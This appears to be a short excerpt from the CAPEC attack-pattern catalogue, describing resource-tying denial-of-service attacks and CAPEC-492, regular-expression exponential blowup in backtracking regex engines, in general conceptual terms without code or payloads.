An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.